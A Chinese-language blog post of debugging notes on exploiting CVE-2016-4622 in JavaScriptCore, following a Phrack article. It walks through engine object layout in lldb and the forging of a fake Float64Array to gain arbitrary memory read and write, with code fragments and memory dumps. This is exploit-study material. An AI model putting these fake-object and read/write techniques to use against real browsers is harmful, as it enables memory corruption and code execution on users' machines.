0x00 摘要
本文基于saelo在 phrack上发表的Attacking JavaScript Engines一文,记录了调试的过程。
CVE-2016-4622调试笔记记录最基本的漏洞触发过程的调试。
本文记录更高级利用技巧的调试过程。
0x01 数据结构
1.1 JSCell && JSObject
通过阅读源码JSCell
的结构中的成员变量如下所示:
1 | class JSCell { |
JSCell
一共有5个成员变量,具体每个变量有什么用,在saelo的文章中介绍的很清楚,在5.2 - JSObject internals
一节中。
通过阅读源码JSObject
的结构中成员变量如下所示:
1 | class JSObject : public JSCell { |
JSObject
只有一个成员变量m_butterfly
,存储JSObject
中存储的数据。
通过lldb
调试poc.js
,验证源码分析的结论。
1 | var a = []; |
1 | (lldb) p this (JSC::JSArray *) $0 = 0x0000000106fc7ed0 (lldb) memory read --format x --size 8 --count 10 0x0000000106fc7ed0 0x106fc7ed0: 0x010814070000004d 0x00000001069e4170 0x106fc7ee0: 0x010814030000004b 0x00000001069e4148 0x106fc7ef0: 0x01081400000000b9 0x00000001069e3028 0x106fc7f00: 0x01081400000000b8 0x00000001069e2b48 0x106fc7f10: 0x01001400000000b7 0x00000001069e2a68 (lldb) p *this (JSC::JSArray) $1 = { JSC::JSNonFinalObject = { JSC::JSObject = { JSC::JSCell = { m_structureID = 77 m_indexingType = '\a' m_type = ObjectType m_flags = '\b' m_cellState = NewWhite } m_butterfly = { JSC::CopyBarrierBase = (m_value = 0x00000001069e4170) } } } } |
可以看到第一个dword
就是JSCell
的内容(0x010814070000004d
),第二个dword
就是m_butterfly
的内容(0x00000001069e4170
)。
0x010814070000004d
可以通过这个数据结构来解析:
1 | union { |
1.2 JSObject internals
如果一个JSObject
的成员少于6个(默认情况),就不会去使用butterfly
存储数据,而是紧跟着JSObject
的数据结构线性的存放在内存中。
通过调试如下代码,验证该特性。
1 | obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]}; |
在JSObject::getOwnPropertyNames
函数处下断点,观察obj
的内存结构。
1 | Process 76862 stopped * thread #1: tid = 0x2f6b12, 0x0000000100d01cca JavaScriptCore`JSC::JSObject::getOwnPropertyNames(object=0x00000001065d09d0, exec=0x00007fff5fbfd940, propertyNames=0x00007fff5fbfd890, mode=(m_dontEnumPropertiesMode = Include, m_jsObjectPropertiesMode = Include)) + 170 at JSObject.cpp:1789, queue = 'com.apple.main-thread', stop reason = step over frame #0: 0x0000000100d01cca JavaScriptCore`JSC::JSObject::getOwnPropertyNames(object=0x00000001065d09d0, exec=0x00007fff5fbfd940, propertyNames=0x00007fff5fbfd890, mode=(m_dontEnumPropertiesMode = Include, m_jsObjectPropertiesMode = Include)) + 170 at JSObject.cpp:1789 1786 return; 1787 } 1788 -> 1789 if (propertyNames.includeStringProperties()) { 1790 // Add numeric properties first. That appears to be the accepted convention. 1791 // FIXME: Filling PropertyNameArray with an identifier for every integer 1792 // is incredibly inefficient for large arrays. We need a different approach, (lldb) p this error: invalid use of 'this' outside of a non-static member function (lldb) memory read --format x --size 8 --count 10 0x00000001065d09d0 0x1065d09d0: 0x01001500000000f4 0x0000000000000000 0x1065d09e0: 0xffff000000001337 0x0000000000000006 0x1065d09f0: 0x402bbd70a3d70a3d 0x00000001065c7ee0 0x1065d0a00: 0x010a1700000000ee 0x0000000105fe4148 0x1065d0a10: 0x00000001065e7900 0x00000001065a65c0 |
其结果确实如writeup中所述。
1 | 0x1065d09d0: 0x01001500000000f4 0x0000000000000000 //jscell,m_butterfly 0x1065d09e0: 0xffff000000001337 0x0000000000000006 //0x1337,false 0x1065d09f0: 0x402bbd70a3d70a3d 0x00000001065c7ee0 //13.37,[1,2,3,4]这个数组的地址。 |
1.3 StructureID
JSCell
结构体中的m_structureID
会在JS
的虚拟机中索引到对应的Structure
的数据结构,在JavaScript
中Structure
用来存储Object
的Class
的信息,包括object
中的属性。
在Structure
的头文件中定义出如下。
1 | const ClassInfo* m_classInfo; |
在ClassInfo
的定义中,MethodTable
定义了一系列的函数指针,针对不同类型的Object
,会有不同的实现。
所以在伪造Object
的时候需要一个正确的StructureID
,否则在调用MethodTable
中的函数的时会导致崩溃。
1 | struct ClassInfo { |
1.4 JSArrayBufferView
在伪造Object
的时候使用的是Float64Array
,在JSC
引擎中的实现是JSArrayBufferView
。
1 | class JSArrayBufferView : public JSNonFinalObject { |
继承JSObject
又添加了三个成员变量。m_vector
存储了具体的数据。
1 | +----------------+ | Float64Array | +----------------+ | JSCell | | butterfly | | vector | | length | | mode | +----------------+ |
0x02 FakeObject
伪代码如下,具体细节可以看Attacking JavaScript Engines一文,这里添加一些注释更详细的解释。
1 | sprayFloat64ArrayStructures(); //随机创建n个Float64Array的数组 |
通过lldb观察container
的地址。
1 | (lldb) memory read --format x --size 8 --count 10 0x0000000106c1e170 0x106c1e170: 0x0100150000001134 0x0000000000000000 -->JSCell,m_butterfly=NULL 0x106c1e180: 0x0118270000001000 0x0000000000000006 -->jsCellHeader,butterfly=false 0x106c1e190: 0x0000000106c173c0 0x0001000000000010 -->vector=hax,lengthAndFlags 0x106c1e1a0: 0x010a170000000031 0x0000000000000000 0x106c1e1b0: 0x0000000106c1e1d0 0x0000000106d8bd80 |
就和之前提到的一样,因为属性少于6个,m_butterfly是NULL。
通过lldb观察fakearray
的地址。
1 | (lldb) p *(JSC::JSArrayBufferView*)0x106c1e180 (JSC::JSArrayBufferView) $0 = { JSC::JSNonFinalObject = { JSC::JSObject = { JSC::JSCell = { -->jsCellHeader m_structureID = 4096 -->00, 0x10, 00, 00, m_indexingType = '\0' -->0x0, m_type = Float64ArrayType -->0x27, m_flags = '\x18' -->0x18, m_cellState = NewWhite -->0x1, } m_butterfly = { JSC::CopyBarrierBase = (m_value = 0x0000000000000006) -->butterfly:false } } } m_vector = { JSC::CopyBarrierBase = (m_value = 0x0000000106c173c0) -->vector: hax } m_length = 16 --> lengthAndFlags: (new Int64('0x0001000000000010')).asJSValue() m_mode = 65536 } |
0x03 任意内存读写
1 | memory = { |
1 | (lldb) memory read --format x --size 8 --count 10 0x0000000106c1e170 0x106c1e170: 0x0100150000001134 0x0000000000000000 0x106c1e180: 0x0118270000001000 0x0000000000000006 -->fakearray[0],fakearray[1] 0x106c1e190: 0x0000000106c173c0 0x0001000000000010 -->fakearray[2],fakearray[3] 0x106c1e1a0: 0x010a170000000031 0x0000000000000000 0x106c1e1b0: 0x0000000106c1e1d0 0x0000000106d8bd80 |
这里的fakearray
的值就是上面的0x106c1e180
。
所以fakearray[2]
指向了vector
,也就是hax
。
1 | [<] Reading 8 bytes from 0x0000000106dda180 Process 78730 stopped * thread #1: tid = 0x30b3dc, 0x000000010034300f JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd7d0) + 15 at ArrayPrototype.cpp:851, queue = 'com.apple.main-thread', stop reason = breakpoint 1.2 frame #0: 0x000000010034300f JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd7d0) + 15 at ArrayPrototype.cpp:851 848 EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec) 849 { 850 // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10 -> 851 JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec); 852 if (!thisObj) 853 return JSValue::encode(JSValue()); 854 unsigned length = getLength(exec, thisObj); (lldb) memory read --format x --size 8 --count 10 0x0000000106c173c0 0x106c173c0: 0x01182200000000fa 0x0000000000000000 <--hax:JSCell,hax:m_butterfly 0x106c173d0: 0x0000000106dda180 0x0000000100001000 <--hax:vector地址变成了要读取的地址 0x106c173e0: 0x0118270000001132 0x0000000105d9f0d0 0x106c173f0: 0x0000000105d9f0a0 0x0000000000000001 0x106c17400: 0x0118270000001131 0x0000000105d9f0a8 (lldb) c Process 78730 resuming [>] Writing 8 bytes to 0x0000000106c1e170 Process 78730 stopped * thread #1: tid = 0x30b3dc, 0x000000010034300f JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd7d0) + 15 at ArrayPrototype.cpp:851, queue = 'com.apple.main-thread', stop reason = breakpoint 1.2 frame #0: 0x000000010034300f JavaScriptCore`JSC::arrayProtoFuncSlice(exec=0x00007fff5fbfd7d0) + 15 at ArrayPrototype.cpp:851 848 EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec) 849 { 850 // http://developer.netscape.com/docs/manuals/js/client/jsref/array.htm#1193713 or 15.4.4.10 -> 851 JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec); 852 if (!thisObj) 853 return JSValue::encode(JSValue()); 854 unsigned length = getLength(exec, thisObj); (lldb) memory read --format x --size 8 --count 10 0x0000000106c173c0 0x106c173c0: 0x01182200000000fa 0x0000000000000000 <--hax:JSCell,hax:m_butterfly 0x106c173d0: 0x0000000106c1e170 0x0000000100001000 <--hax:vector地址变成了要写入的地址 0x106c173e0: 0x0118270000001132 0x0000000105d9f0d0 0x106c173f0: 0x0000000105d9f0a0 0x0000000000000001 0x106c17400: 0x0118270000001131 0x0000000105d9f0a8 (lldb) |
0x04 小结
本文记录了通过CVE-2016-4622
实现任意内存读写的调试流程。是上一篇文章的延续。
有了任意内存读写的手段之后,下一步就是利用JIT
调用shellcode
了。
引用
[1] http://phrack.org/papers/attacking_javascript_engines.html